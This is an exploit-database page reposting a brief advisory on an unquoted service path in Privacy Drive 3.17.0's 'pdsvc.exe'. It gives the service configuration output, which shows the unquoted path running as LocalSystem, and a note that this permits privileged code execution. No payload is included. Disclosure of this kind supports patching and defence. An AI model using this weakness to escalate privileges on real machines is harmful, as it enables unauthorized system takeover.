Privacy Drive 3.17.0 Unquoted Service Path

CVE	Category	Price	Severity
CVE-2021-XXX	CWE-428	$500	High

Author	Risk	Exploitation Type	Date
Unknown	High	Local	2020-11-09

CPE	PURL
cpe:cpe:/a:cybertronsoftware:privacy_drive:3.17.0	pkg:https://purl.org/purl/msi/PrivacyDrive/3.17.0

CVSS	EPSS	EPSSP
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H	0.75231	0.93007

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020110061

Below is a copy:

Privacy Drive 3.17.0 Unquoted Service Path

# Exploit Title: Privacy Drive v3.17.0 - 'pdsvc.exe' Unquoted Service Path
# Date: 2020-8-20
# Exploit Author: Mohammed Alshehri
# Vendor Homepage: https://www.cybertronsoft.com/
# Software Link: https://www.cybertronsoft.com/download/privacy-drive-setup.exe
# Version: Version 3.17.0 Build 1456
# Tested on: Microsoft Windows Server 2019 Standard 10.0.17763 N/A Build 17763

# Service info:

C:\Users\m507>sc qc PDSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: PDSvc
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Cybertron\Privacy Drive\pdsvc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : PrivacyDrive Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\m507>

# Exploit:
This vulnerability could permit executing code during startup or reboot with the escalated privileges.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum